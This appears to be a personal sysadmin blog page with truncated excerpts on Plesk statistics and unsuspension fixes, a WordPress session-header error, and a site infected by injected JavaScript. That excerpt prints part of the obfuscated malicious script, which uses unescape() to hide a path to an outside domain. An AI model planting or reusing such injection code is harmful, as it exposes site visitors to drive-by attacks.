shell in a jar

So have encountered this isue many time,s and now only that i have the real intention to solve it, instead of following previous template replies.. haha XD Whats tyhe issue? Well, when a user logs in into his or her PLESK control panel, he will see the disk suage and bandwith usage, and for this particular customer, he was given 00GB disk, and yet, he just used few hundred megs but stupid PLESK is howing 11 GB overused. Screen shot: So googled, and found out some hints, and run these: C:\Program Files\SWsoft\Plesk\admin\bin>statistics.exe --all --process-domains=m yperfectgas.com --verbose Save FTP logs 2: '' HTTP logs 2: '' mail logs 2: '' Webalizer V2.01-10-RB02 (Windows NT 5.2 Service Pack 2) English Using DNS cache file C:\Program Files\SWsoft\Plesk\tmp\webalizer.cache Creating output in C:\inetpub\vhosts\myperfectgas.com\statistics\webstat Hostname for reports is 'myperfectgas.com' Reading history file... webalizer.hist Reading previous run data....

I had this problem on my clients site. Wordpress. /wp-admin/ page. with SI-Captcha plugin. Error was: Warning: session_start () [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/epinula/domains/epinula.com/public_html/wp-includes/default-embeds.php 54) in /home/epinula/domains/epinula.com/public_html/wp-content/plugins/si-captcha-for-wordpress/si-captcha.php on line 965 Warning: Cannot modify header information - headers already sent by (output started at /home/epinula/domains/epinula.com/public_html/wp-includes/default-embeds.php:54) in /home/epinula/domains/epinula.com/public_html/wp-includes/pluggable.php on line 868 So, i googled, found this link : http://forums.digitalpoint.com/showthread.php?t=475425 And did these: root~: vi /home/epinula/domains/epinula.com/public_html/wp-content/plugins/si-captcha-for-wordpress/si-captcha.php and add " ob_start("ob_gzhandler"); " just 2nd line, after " <? ...

So one of the users has been infected with this stupid malicious javascripts. Its an evil javascript that will open / include a url, on another site which opens up a attacj site, driveby download, xss, et cetera.. Heres the stupid code: var t=new String();var y;if(y!='o'){y='o'};var VX;if(VX!='yw' && VX != ''){VX=null};var O='';function d(){var yM;if(yM!='' && yM!='AM'){yM=null};this.DT='';var ywS;if(ywS!=''){ywS='Nv'};this.AQ='';var Vz;if(Vz!='' && Vz!='NO'){Vz=null};var I=window;var eE;if(eE!='oH' && eE != ''){eE=null};var eY;if(eY!='kR' && eY != ''){eY=null};var wm="";var W=I['unescape'];var V=W("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%65%69%6e%76%7a%2e%6e%65%74%2f%76%65%72%79%63%64%2e%63%6f%6d%2e%70%68%70");var kM="";this.q="";var wn=new Array();var fp;if(fp!=...

So that error came. It so happen a user mistakenly suspendd the account, and when he tries to unsusped it, the error comes out. SO what do we have to do? To be honest im not sure myself, just try2 googing around. Heres what i did: 1) Open CMD as ADMINISTRATOR (importatnt to "run as administrator" 2) C:\>"%plesk_bin%"\dbclient.exe --direct-sql --sql="INSERT INTO dns_zone (name, displayName, email) VALUES ('poesyliang.net', 'poesyliang.net', 'user@email.com');" 3) C:\>"%plesk_bin%"\dbclient.exe --direct-sql --sql="SELECT id, name FROM dns_zone where name='poesyliang.net';" id name 46 poesyliang.net 47 poesyliang.net 4) C:\>"%plesk_bin%"\dbclient.exe --direct-sql --sql="UPDATE domains SET dns_zone_id='47' WHERE name='poesyliang.net';" And wallah! :D Thans for guides here : http://www.supportsages.com/blog/2009/08/plesk-account-unsuspension-tablesele...